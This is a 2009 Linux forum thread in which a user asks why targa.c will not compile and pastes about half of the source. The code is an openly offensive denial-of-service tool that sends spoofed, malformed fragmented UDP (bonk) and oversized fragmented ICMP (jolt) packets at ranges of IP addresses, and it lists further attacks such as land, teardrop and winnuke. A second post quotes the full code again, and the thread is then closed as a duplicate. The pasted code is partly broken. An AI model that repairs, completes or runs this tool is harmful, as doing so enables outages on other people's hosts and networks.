LinuxQuestions.org
Help answer threads with 0 replies.
Home Forums Tutorials Articles Register
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - Software
User Name
Password
Linux - Software This forum is for Software issues.
Having a problem installing a new program? Want to know which application is best for the job? Post your question in this forum.

Notices


Closed Thread
  Search this Thread
Old 03-31-2009, 07:23 AM   #1
soni_silver17
LQ Newbie
 
Registered: Jan 2009
Posts: 21

Rep: Reputation: 15
targa.c file execution error


Hi while i am executing the file targa.c in RHEL4 using the command

#gcc targa.c -o targa, i am getting the following errors

targa.c: In function `fondle':
targa.c:288: error: `UDP' undeclared (first use in this function)
targa.c:288: error: (Each undeclared identifier is reported only once
targa.c:288: error: for each function it appears in.)
targa.c: In function `jolt':
targa.c:391: error: structure has no member named `ip_csum'
targa.c: In function `land':
targa.c:492: error: `TCP' undeclared (first use in this function)
targa.c:496: error: structure has no member named `th_sport'
targa.c:497: error: structure has no member named `th_dport'
targa.c:498: error: structure has no member named `th_seq'
targa.c:499: error: structure has no member named `th_flags'
targa.c:499: error: `TH_SYN' undeclared (first use in this function)
targa.c:500: error: structure has no member named `th_off'
targa.c:501: error: structure has no member named `th_win'
targa.c:509: error: structure has no member named `th_sum'
targa.c: In function `send_synd':
targa.c:931: error: `TH_SYN' undeclared (first use in this function)

...............First half part of targa.c file..........................
#define LANDPORT "113" /* remote port for land's */
#define LANDREP 5 /* repeat land attack x times */
#define JOLTREP 15 /* repeat jolt attack x times */
#define BONKREP 15 /* repeat bonk attack x times */
#define COUNT 0x15 /* repeat frag attacks x times */
#define NESCOUNT 500 /* repeat nestea attack x times */
#define WNUKEPORT 139 /* port for winnukes */
#define WNUKEREP 1 /* repeat winnuke x times */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/tcp.h>
/*#include <netinet/protocols.h> */
#include <netinet/udp.h>
#include <netinet/udp.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/types.h>
#define FIX(n) htons(n) /* define this to (n), if using BSD */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
#define IP_MF 0x2000 /* Fragmention offset */
#define MAGIC 0x3 /* Teardrop Magic fragmentation constant (tm) */#define MAGIC2 108 /* Nestea Magic fragmentation constant (tm) */
#define NESPADDING 256 /* Padding for Nestea */
#define PADDING 0x14 /* Padding for other frag's */
#define TCPH sizeof(struct tcphdr) /* TCP header size (nestea) */
#define TPADDING 0x1c /* Padding for original teardrop */

/* main() - user interface & some functions */

struct ipstuph
{
int p1;
int p2;
int p3;
int p4;
}
startip, endip;

void targa (u_char *);
u_long leet_resolve (u_char *);
u_short in_cksum (u_short *, int);

int
main (int argc, char **argv)
{
int one = 1, count = 1, i, j, rip_sock, bequiet = 0, dostype = 0;
u_long src_ip = 0;
u_short src_prt = 0, dst_prt = 0;
char hit_ip[18], dst_ip2[18], dst_ip[4096];
struct in_addr addr;
fprintf (stderr, "\t\tESC[0;33mtarga 1.0 by ESC[1;33mESC[5mMixterESC[0m\n");
if ((rip_sock = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror ("cannot open raw socket");
exit (1);
}
if (setsockopt (rip_sock, IPPROTO_IP, IP_HDRINCL, (char *) &one, sizeof (one)) < 0)
{
perror ("IP_HDRINCL");
exit (1);
}
if (argc < 3)
targa (argv[0]);
strcpy (dst_ip, argv[1]);
strcpy (dst_ip2, argv[2]);
if (sscanf (argv[1], "%d.%d.%d.%d", &startip.p1, &startip.p2, &startip.p3, &startip.p4) != 4)
{
fprintf (stderr, "Error, %s: Please use a start IP containing 4 zones\n",
argv[1]);
exit (1);
}
if (startip.p1 > 255)
{
fprintf (stderr, "Zone 1 of start ip is incorrect (greater than 255)\n");
exit (1);
}
if (startip.p2 > 255)
{
fprintf (stderr, "Zone 2 of start ip is incorrect (greater than 255)\n");
exit (1);
}
if (startip.p3 > 255)
{
fprintf (stderr, "Zone 3 of start ip is incorrect (greater than 255)\n");
exit (1);
}
if (startip.p4 > 255)
{
fprintf (stderr, "Zone 4 of start ip is incorret (greater than 255)\n");
exit (1);
}
if (sscanf (argv[2], "%d.%d.%d.%d", &endip.p1, &endip.p2, &endip.p3, &endip.p4) != 4)
{
fprintf (stderr, "Error, %s: Please use an end IP containing 4 zones\n", argv[2]);
exit (1);
}
if (endip.p1 > 255)
{
fprintf (stderr, "Zone 1 of end ip is incorrect (greater than 255)\n");
exit (1);
}
if (endip.p2 > 255)
{
fprintf (stderr, "Zone 2 of end ip is incorrect (greater than 255)\n");
exit (1);
}
if (endip.p3 > 255)
{
fprintf (stderr, "Zone 3 of end ip is incorrect (greater than 255)\n");
exit (1);
}
if (endip.p4 > 255)
{
fprintf (stderr, "Zone 4 of end ip is incorrect (greater than 255)\n");
exit (1);
}
if (startip.p1 != endip.p1)
{
fprintf (stderr, "Zone 1 of start ip and end ip is differentESC[0m\n");
exit (1);
}
if (startip.p2 != endip.p2)
{
fprintf (stderr, "Zone 2 of start ip and end ip is different\n");
exit (1);
}
if (startip.p3 != endip.p3)
{
fprintf (stderr, "Zone 3 of start ip and end ip is different\n");
exit (1);
}
while ((i = getopt_long (argc, argv, "t:n:h")) != EOF)
{
switch (i)
{
case 't':
dostype = atoi (optarg); /* type of DOS */
break;
case 'n': /* number to send */
count = atoi (optarg);
break;
case 'h': /* quiet mode */
targa_help (argv[0]);
break;
default:
reak; /* NOTREACHED */
}
}
srandom ((unsigned) (time ((time_t) 0)));
fprintf (stderr, "ESC[1;31mLeetESC[0;31mness on fESC[1;31laxen wingESC[0;31ms
ESC[0m:\n");
fprintf (stderr, "ESC[1;31mToESC[0m: ESC[0;31m%s - %sESC[0m\n", dst_ip,
dst_ip2);
fprintf (stderr, "ESC[1;31mRepeatsESC[0m: ESC[0;31m%5dESC[0m\n", count);
fprintf (stderr, "ESC[1;31m TypeESC[0m: ESC[0;31m%5dESC[0m\n", dostype);

for (j = startip.p4; j <= endip.p4; j++)
{
sprintf (hit_ip, "%d.%d.%d.%d", startip.p1, startip.p2, startip.p3, j);
fprintf (stderr, "ESC[0;31m%s ESC[1;31m[ ESC[0m", hit_ip);
for (i = 0; i < count; i++)
{
hax0r (hit_ip, dostype);
usleep (10);
}
fprintf (stderr, "ESC[0;31m ]ESC[0m\n");
}
fprintf (stderr, "\tESC[5mESC[1;31m-all done-ESC[0m\n");
return (0);
}
int
hax0r (char *vm, int te)
{
/* beginning of hardcoded ereetness :P */
if (te == 1 || te == 0)
bonk (vm);
if (te == 2 || te == 0)
jolt (vm);
if (te == 3 || te == 0)
land (vm);
if (te == 4 || te == 0)
nestea (vm);
if (te == 5 || te == 0)
newtear (vm);
if (te == 6 || te == 0)
syndrop (vm);
if (te == 7 || te == 0)
teardrop (vm);
if (te == 8 || te == 0)
winnuke (vm);
return (31337);
}
u_long
leet_resolve (u_char * host_name)
{
struct in_addr addr;
struct hostent *host_ent;

if ((addr.s_addr = inet_addr (host_name)) == -1)
{
if (!(host_ent = gethostbyname (host_name)))
return (0);
bcopy (host_ent->h_addr, (char *) &addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}
void
targa (u_char * name)
{
fprintf (stderr, "ESC[0;31musage: %s <startIP> <endIP> [-t type] [-n repeats]\n", name);
fprintf (stderr, "\ttype %s - -h to get more help\nESC[0m", name);
exit (0);
}
int
targa_help (u_char * name)
{
fprintf (stderr, "ESC[0;31musage: %s <startIP> <endIP> [-t type] [-n repeats]\n", name);
fprintf (stderr, "startIP - endIP: ESC[1;31mIP range to send packets to (destination)\n");
fprintf (stderr, "ESC[0;31mstart and end must be on the same C class (1.1.1.X)\n");
fprintf (stderr, "repeats: ESC[1;31mrepeat the whole cycle n times (default is 1)\n");
fprintf (stderr, "ESC[0;31mtype: ESC[1;31mkind of remote DoS to send (default
is 0)\n");
fprintf (stderr, "ESC[0;31m1 = bonk (ESC[1;31m$ESC[0mESC[0;31m) 2 = jolt (ESC[1;32m@ESC[0mESC[0;31m) 3 = land (ESC[1;33m-ESC[0mESC[0;31m)\n");
fprintf (stderr, "4 = nestea (ESC[1;34m.ESC[0mESC[0;31m) 5 = newtear (ESC[1;32m#ESC[0mESC[0;31m)\n");
fprintf (stderr, "6 = syndrop (ESC[1;35m&ESC[0mESC[0;31m) 7 = teardrop (ESC[1;34m%%ESC[0mESC[0;31m) 8 = winnuke (ESC[1;37m*ESC[0mESC[0;31m)\n");
fprintf (stderr, "ESC[0;31m0 = use all remote DoS types at once\nESC[0m");
exit (0);
}
* bonk(destination) */

struct udp_pkt
{
struct iphdr ip;
struct udphdr udp;
char data[0x1c];
}
pkt;

int udplen = sizeof (struct udphdr), iplen = sizeof (struct iphdr), datalen = 100,
psize = sizeof (struct udphdr) + sizeof (struct iphdr) + 0x1c, spf_sck;
/* Socket */

u_long
host_to_ip (char *host_name)
{
static u_long ip_bytes;
struct hostent *res;
res = gethostbyname (host_name);
if (res == NULL)
return (0);
memcpy (&ip_bytes, res->h_addr, res->h_length);
return (ip_bytes);
}

void
quit (char *reason)
{
perror (reason);
close (spf_sck);
exit (-1);
}

int
fondle (int sck, u_long src_addr, u_long dst_addr, int src_prt,
int dst_prt)
{
int bs;
struct sockaddr_in to;

memset (&pkt, 0, psize);
/* Fill in ip header */
pkt.ip.version = 4;
pkt.ip.ihl = 5;
pkt.ip.tot_len = htons (udplen + iplen + 0x1c);
pkt.ip.id = htons (0x455);
pkt.ip.ttl = 255;
pkt.ip.protocol = UDP;
pkt.ip.saddr = src_addr;
pkt.ip.daddr = dst_addr;
pkt.ip.frag_off = htons (0x2000); /* more to come */

pkt.udp.source = htons (src_prt); /* udp header */
pkt.udp.dest = htons (dst_prt);
pkt.udp.len = htons (8 + 0x1c);
/* send 1st frag */

to.sin_family = AF_INET;
to.sin_port = src_prt;
to.sin_addr.s_addr = dst_addr;

bs = sendto (sck, &pkt, psize, 0, (struct sockaddr *) &to,
sizeof (struct sockaddr));

pkt.ip.frag_off = htons (0x3 + 1); /* shinanigan */
pkt.ip.tot_len = htons (iplen + 0x3);
/* 2nd frag */

bs = sendto (sck, &pkt, iplen + 0x3 + 1, 0,
(struct sockaddr *) &to, sizeof (struct sockaddr));

return bs;
}

int
bonk (char *bonk_host)
{
u_long src_addr, dst_addr;
int i, src_prt = 53, dst_prt = 53, bs = 1, pkt_count = BONKREP;
dst_addr = host_to_ip (bonk_host);
if (!dst_addr)
quit ("bad target host");
spf_sck = socket (AF_INET, SOCK_RAW, IPPROTO_RAW);
if (!spf_sck)
quit ("socket()");
if (setsockopt (spf_sck, IPPROTO_IP, IP_HDRINCL, (char *) &bs,
sizeof (bs)) < 0)
quit ("IP_HDRINCL");
for (i = 0; i < pkt_count; ++i)
{
fondle (spf_sck, rand (), dst_addr, src_prt, dst_prt);
fprintf (stderr, "ESC[1;31m$ESC[0m");
usleep (10000);
}
}

/* jolt(destination) */

int
jolt (char *jolt_host)
{
int s, i;
char buf[400];
struct ip *ip = (struct ip *) buf;
struct icmphdr *icmp = (struct icmphdr *) (ip + 1);
struct hostent *hp, *hp2;
struct sockaddr_in dst;
int offset;
int on = 1;
int num = JOLTREP;

bzero (buf, sizeof buf);
if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror ("socket");
exit (1);
}
if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, &on, sizeof (on)) < 0)
{
perror ("IP_HDRINCL");
exit (1);
}
for (i = 1; i <= num; i++)
{

if ((hp = gethostbyname (jolt_host)) == NULL)
{
if ((ip->ip_dst.s_addr = inet_addr (jolt_host)) == -1)
{
fprintf (stderr, "%s: unknown host\n", jolt_host);
exit (1);
}
}
else
{
bcopy (hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
}

ip->ip_src.s_addr = rand ();
fprintf (stderr, "ESC[1;32m@ESC[0m");
inet_ntoa (ip->ip_dst);
ip->ip_v = 4;
ip->ip_hl = sizeof *ip >> 2;
ip->ip_tos = 0;
ip->ip_len = htons (sizeof buf);
ip->ip_id = htons (4321);
ip->ip_off = htons (0);
ip->ip_ttl = 255;
ip->ip_p = 1;
ip->ip_csum = 0; /* kernel fills in */

dst.sin_addr = ip->ip_dst;
dst.sin_family = AF_INET;

icmp->type = ICMP_ECHO;
icmp->code = 0;
icmp->checksum = htons (~(ICMP_ECHO << 8));
for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip))
{
ip->ip_off = htons (offset >> 3);
if (offset < 65120)
ip->ip_off |= htons (0x2000);
else
ip->ip_len = htons (418); /* make total 65538 */
if (sendto (s, buf, sizeof buf, 0, (struct sockaddr *) &dst,
sizeof dst) < 0)
{
fprintf (stderr, "offset %d: ", offset);
perror ("sendto");
}
if (offset == 0)
{
icmp->type = 0;
icmp->code = 0;
icmp->checksum = 0;
}
}
}
return 0;
}

Last edited by soni_silver17; 03-31-2009 at 07:40 AM.
 
Old 03-31-2009, 12:00 PM   #2
TB0ne
LQ Guru
 
Registered: Jul 2003
Location: Birmingham, Alabama
Distribution: SuSE, RedHat, Slack,CentOS
Posts: 26,753

Rep: Reputation: 7983Reputation: 7983Reputation: 7983Reputation: 7983Reputation: 7983Reputation: 7983Reputation: 7983Reputation: 7983Reputation: 7983Reputation: 7983Reputation: 7983
Quote:
Originally Posted by soni_silver17 View Post
Hi while i am executing the file targa.c in RHEL4 using the command

#gcc targa.c -o targa, i am getting the following errors

targa.c: In function `fondle':
targa.c:288: error: `UDP' undeclared (first use in this function)
targa.c:288: error: (Each undeclared identifier is reported only once
targa.c:288: error: for each function it appears in.)
targa.c: In function `jolt':
targa.c:391: error: structure has no member named `ip_csum'
targa.c: In function `land':
targa.c:492: error: `TCP' undeclared (first use in this function)
targa.c:496: error: structure has no member named `th_sport'
targa.c:497: error: structure has no member named `th_dport'
targa.c:498: error: structure has no member named `th_seq'
targa.c:499: error: structure has no member named `th_flags'
targa.c:499: error: `TH_SYN' undeclared (first use in this function)
targa.c:500: error: structure has no member named `th_off'
targa.c:501: error: structure has no member named `th_win'
targa.c:509: error: structure has no member named `th_sum'
targa.c: In function `send_synd':
targa.c:931: error: `TH_SYN' undeclared (first use in this function)

...............First half part of targa.c file..........................
#define LANDPORT "113" /* remote port for land's */
#define LANDREP 5 /* repeat land attack x times */
#define JOLTREP 15 /* repeat jolt attack x times */
#define BONKREP 15 /* repeat bonk attack x times */
#define COUNT 0x15 /* repeat frag attacks x times */
#define NESCOUNT 500 /* repeat nestea attack x times */
#define WNUKEPORT 139 /* port for winnukes */
#define WNUKEREP 1 /* repeat winnuke x times */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/tcp.h>
/*#include <netinet/protocols.h> */
#include <netinet/udp.h>
#include <netinet/udp.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/types.h>
#define FIX(n) htons(n) /* define this to (n), if using BSD */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
#define IP_MF 0x2000 /* Fragmention offset */
#define MAGIC 0x3 /* Teardrop Magic fragmentation constant (tm) */#define MAGIC2 108 /* Nestea Magic fragmentation constant (tm) */
#define NESPADDING 256 /* Padding for Nestea */
#define PADDING 0x14 /* Padding for other frag's */
#define TCPH sizeof(struct tcphdr) /* TCP header size (nestea) */
#define TPADDING 0x1c /* Padding for original teardrop */

/* main() - user interface & some functions */

struct ipstuph
{
int p1;
int p2;
int p3;
int p4;
}
startip, endip;

void targa (u_char *);
u_long leet_resolve (u_char *);
u_short in_cksum (u_short *, int);

int
main (int argc, char **argv)
{
int one = 1, count = 1, i, j, rip_sock, bequiet = 0, dostype = 0;
u_long src_ip = 0;
u_short src_prt = 0, dst_prt = 0;
char hit_ip[18], dst_ip2[18], dst_ip[4096];
struct in_addr addr;
fprintf (stderr, "\t\tESC[0;33mtarga 1.0 by ESC[1;33mESC[5mMixterESC[0m\n");
if ((rip_sock = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror ("cannot open raw socket");
exit (1);
}
if (setsockopt (rip_sock, IPPROTO_IP, IP_HDRINCL, (char *) &one, sizeof (one)) < 0)
{
perror ("IP_HDRINCL");
exit (1);
}
if (argc < 3)
targa (argv[0]);
strcpy (dst_ip, argv[1]);
strcpy (dst_ip2, argv[2]);
if (sscanf (argv[1], "%d.%d.%d.%d", &startip.p1, &startip.p2, &startip.p3, &startip.p4) != 4)
{
fprintf (stderr, "Error, %s: Please use a start IP containing 4 zones\n",
argv[1]);
exit (1);
}
if (startip.p1 > 255)
{
fprintf (stderr, "Zone 1 of start ip is incorrect (greater than 255)\n");
exit (1);
}
if (startip.p2 > 255)
{
fprintf (stderr, "Zone 2 of start ip is incorrect (greater than 255)\n");
exit (1);
}
if (startip.p3 > 255)
{
fprintf (stderr, "Zone 3 of start ip is incorrect (greater than 255)\n");
exit (1);
}
if (startip.p4 > 255)
{
fprintf (stderr, "Zone 4 of start ip is incorret (greater than 255)\n");
exit (1);
}
if (sscanf (argv[2], "%d.%d.%d.%d", &endip.p1, &endip.p2, &endip.p3, &endip.p4) != 4)
{
fprintf (stderr, "Error, %s: Please use an end IP containing 4 zones\n", argv[2]);
exit (1);
}
if (endip.p1 > 255)
{
fprintf (stderr, "Zone 1 of end ip is incorrect (greater than 255)\n");
exit (1);
}
if (endip.p2 > 255)
{
fprintf (stderr, "Zone 2 of end ip is incorrect (greater than 255)\n");
exit (1);
}
if (endip.p3 > 255)
{
fprintf (stderr, "Zone 3 of end ip is incorrect (greater than 255)\n");
exit (1);
}
if (endip.p4 > 255)
{
fprintf (stderr, "Zone 4 of end ip is incorrect (greater than 255)\n");
exit (1);
}
if (startip.p1 != endip.p1)
{
fprintf (stderr, "Zone 1 of start ip and end ip is differentESC[0m\n");
exit (1);
}
if (startip.p2 != endip.p2)
{
fprintf (stderr, "Zone 2 of start ip and end ip is different\n");
exit (1);
}
if (startip.p3 != endip.p3)
{
fprintf (stderr, "Zone 3 of start ip and end ip is different\n");
exit (1);
}
while ((i = getopt_long (argc, argv, "t:n:h")) != EOF)
{
switch (i)
{
case 't':
dostype = atoi (optarg); /* type of DOS */
break;
case 'n': /* number to send */
count = atoi (optarg);
break;
case 'h': /* quiet mode */
targa_help (argv[0]);
break;
default:
reak; /* NOTREACHED */
}
}
srandom ((unsigned) (time ((time_t) 0)));
fprintf (stderr, "ESC[1;31mLeetESC[0;31mness on fESC[1;31laxen wingESC[0;31ms
ESC[0m:\n");
fprintf (stderr, "ESC[1;31mToESC[0m: ESC[0;31m%s - %sESC[0m\n", dst_ip,
dst_ip2);
fprintf (stderr, "ESC[1;31mRepeatsESC[0m: ESC[0;31m%5dESC[0m\n", count);
fprintf (stderr, "ESC[1;31m TypeESC[0m: ESC[0;31m%5dESC[0m\n", dostype);

for (j = startip.p4; j <= endip.p4; j++)
{
sprintf (hit_ip, "%d.%d.%d.%d", startip.p1, startip.p2, startip.p3, j);
fprintf (stderr, "ESC[0;31m%s ESC[1;31m[ ESC[0m", hit_ip);
for (i = 0; i < count; i++)
{
hax0r (hit_ip, dostype);
usleep (10);
}
fprintf (stderr, "ESC[0;31m ]ESC[0m\n");
}
fprintf (stderr, "\tESC[5mESC[1;31m-all done-ESC[0m\n");
return (0);
}
int
hax0r (char *vm, int te)
{
/* beginning of hardcoded ereetness :P */
if (te == 1 || te == 0)
bonk (vm);
if (te == 2 || te == 0)
jolt (vm);
if (te == 3 || te == 0)
land (vm);
if (te == 4 || te == 0)
nestea (vm);
if (te == 5 || te == 0)
newtear (vm);
if (te == 6 || te == 0)
syndrop (vm);
if (te == 7 || te == 0)
teardrop (vm);
if (te == 8 || te == 0)
winnuke (vm);
return (31337);
}
u_long
leet_resolve (u_char * host_name)
{
struct in_addr addr;
struct hostent *host_ent;

if ((addr.s_addr = inet_addr (host_name)) == -1)
{
if (!(host_ent = gethostbyname (host_name)))
return (0);
bcopy (host_ent->h_addr, (char *) &addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}
void
targa (u_char * name)
{
fprintf (stderr, "ESC[0;31musage: %s <startIP> <endIP> [-t type] [-n repeats]\n", name);
fprintf (stderr, "\ttype %s - -h to get more help\nESC[0m", name);
exit (0);
}
int
targa_help (u_char * name)
{
fprintf (stderr, "ESC[0;31musage: %s <startIP> <endIP> [-t type] [-n repeats]\n", name);
fprintf (stderr, "startIP - endIP: ESC[1;31mIP range to send packets to (destination)\n");
fprintf (stderr, "ESC[0;31mstart and end must be on the same C class (1.1.1.X)\n");
fprintf (stderr, "repeats: ESC[1;31mrepeat the whole cycle n times (default is 1)\n");
fprintf (stderr, "ESC[0;31mtype: ESC[1;31mkind of remote DoS to send (default
is 0)\n");
fprintf (stderr, "ESC[0;31m1 = bonk (ESC[1;31m$ESC[0mESC[0;31m) 2 = jolt (ESC[1;32m@ESC[0mESC[0;31m) 3 = land (ESC[1;33m-ESC[0mESC[0;31m)\n");
fprintf (stderr, "4 = nestea (ESC[1;34m.ESC[0mESC[0;31m) 5 = newtear (ESC[1;32m#ESC[0mESC[0;31m)\n");
fprintf (stderr, "6 = syndrop (ESC[1;35m&ESC[0mESC[0;31m) 7 = teardrop (ESC[1;34m%%ESC[0mESC[0;31m) 8 = winnuke (ESC[1;37m*ESC[0mESC[0;31m)\n");
fprintf (stderr, "ESC[0;31m0 = use all remote DoS types at once\nESC[0m");
exit (0);
}
* bonk(destination) */

struct udp_pkt
{
struct iphdr ip;
struct udphdr udp;
char data[0x1c];
}
pkt;

int udplen = sizeof (struct udphdr), iplen = sizeof (struct iphdr), datalen = 100,
psize = sizeof (struct udphdr) + sizeof (struct iphdr) + 0x1c, spf_sck;
/* Socket */

u_long
host_to_ip (char *host_name)
{
static u_long ip_bytes;
struct hostent *res;
res = gethostbyname (host_name);
if (res == NULL)
return (0);
memcpy (&ip_bytes, res->h_addr, res->h_length);
return (ip_bytes);
}

void
quit (char *reason)
{
perror (reason);
close (spf_sck);
exit (-1);
}

int
fondle (int sck, u_long src_addr, u_long dst_addr, int src_prt,
int dst_prt)
{
int bs;
struct sockaddr_in to;

memset (&pkt, 0, psize);
/* Fill in ip header */
pkt.ip.version = 4;
pkt.ip.ihl = 5;
pkt.ip.tot_len = htons (udplen + iplen + 0x1c);
pkt.ip.id = htons (0x455);
pkt.ip.ttl = 255;
pkt.ip.protocol = UDP;
pkt.ip.saddr = src_addr;
pkt.ip.daddr = dst_addr;
pkt.ip.frag_off = htons (0x2000); /* more to come */

pkt.udp.source = htons (src_prt); /* udp header */
pkt.udp.dest = htons (dst_prt);
pkt.udp.len = htons (8 + 0x1c);
/* send 1st frag */

to.sin_family = AF_INET;
to.sin_port = src_prt;
to.sin_addr.s_addr = dst_addr;

bs = sendto (sck, &pkt, psize, 0, (struct sockaddr *) &to,
sizeof (struct sockaddr));

pkt.ip.frag_off = htons (0x3 + 1); /* shinanigan */
pkt.ip.tot_len = htons (iplen + 0x3);
/* 2nd frag */

bs = sendto (sck, &pkt, iplen + 0x3 + 1, 0,
(struct sockaddr *) &to, sizeof (struct sockaddr));

return bs;
}

int
bonk (char *bonk_host)
{
u_long src_addr, dst_addr;
int i, src_prt = 53, dst_prt = 53, bs = 1, pkt_count = BONKREP;
dst_addr = host_to_ip (bonk_host);
if (!dst_addr)
quit ("bad target host");
spf_sck = socket (AF_INET, SOCK_RAW, IPPROTO_RAW);
if (!spf_sck)
quit ("socket()");
if (setsockopt (spf_sck, IPPROTO_IP, IP_HDRINCL, (char *) &bs,
sizeof (bs)) < 0)
quit ("IP_HDRINCL");
for (i = 0; i < pkt_count; ++i)
{
fondle (spf_sck, rand (), dst_addr, src_prt, dst_prt);
fprintf (stderr, "ESC[1;31m$ESC[0m");
usleep (10000);
}
}

/* jolt(destination) */

int
jolt (char *jolt_host)
{
int s, i;
char buf[400];
struct ip *ip = (struct ip *) buf;
struct icmphdr *icmp = (struct icmphdr *) (ip + 1);
struct hostent *hp, *hp2;
struct sockaddr_in dst;
int offset;
int on = 1;
int num = JOLTREP;

bzero (buf, sizeof buf);
if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror ("socket");
exit (1);
}
if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, &on, sizeof (on)) < 0)
{
perror ("IP_HDRINCL");
exit (1);
}
for (i = 1; i <= num; i++)
{

if ((hp = gethostbyname (jolt_host)) == NULL)
{
if ((ip->ip_dst.s_addr = inet_addr (jolt_host)) == -1)
{
fprintf (stderr, "%s: unknown host\n", jolt_host);
exit (1);
}
}
else
{
bcopy (hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
}

ip->ip_src.s_addr = rand ();
fprintf (stderr, "ESC[1;32m@ESC[0m");
inet_ntoa (ip->ip_dst);
ip->ip_v = 4;
ip->ip_hl = sizeof *ip >> 2;
ip->ip_tos = 0;
ip->ip_len = htons (sizeof buf);
ip->ip_id = htons (4321);
ip->ip_off = htons (0);
ip->ip_ttl = 255;
ip->ip_p = 1;
ip->ip_csum = 0; /* kernel fills in */

dst.sin_addr = ip->ip_dst;
dst.sin_family = AF_INET;

icmp->type = ICMP_ECHO;
icmp->code = 0;
icmp->checksum = htons (~(ICMP_ECHO << 8));
for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip))
{
ip->ip_off = htons (offset >> 3);
if (offset < 65120)
ip->ip_off |= htons (0x2000);
else
ip->ip_len = htons (418); /* make total 65538 */
if (sendto (s, buf, sizeof buf, 0, (struct sockaddr *) &dst,
sizeof dst) < 0)
{
fprintf (stderr, "offset %d: ", offset);
perror ("sendto");
}
if (offset == 0)
{
icmp->type = 0;
icmp->code = 0;
icmp->checksum = 0;
}
}
}
return 0;
}
See other part of same question.

Last edited by TB0ne; 03-31-2009 at 12:04 PM.
 
Old 04-30-2009, 12:41 PM   #3
reddazz
LQ Guru
 
Registered: Nov 2003
Location: N. E. England
Distribution: Fedora, CentOS, Debian
Posts: 16,298

Rep: Reputation: 77
Please post your thread in only one forum. Posting a single thread in the most relevant forum will make it easier for members to help you and will keep the discussion in one place. This thread is being closed because it is a duplicate.

Discussion continues here.
 
  


Closed Thread



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
.Jar file execution error on FC7 immortaltechnique Linux - Software 6 12-21-2007 04:26 AM
file execution ygloo Linux - General 2 11-07-2006 11:25 AM
file execution zaid Linux - General 1 01-17-2006 07:28 PM
Truevision Targa 1000 pro pembo8420 Linux - Hardware 0 08-11-2005 09:52 AM
Notebook Targa Trvaller 600 Hacker Linux - General 3 11-27-2001 02:56 PM

LinuxQuestions.org > Forums > Linux Forums > Linux - Software

All times are GMT -5. The time now is 11:14 AM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Open Source Consulting | Domain Registration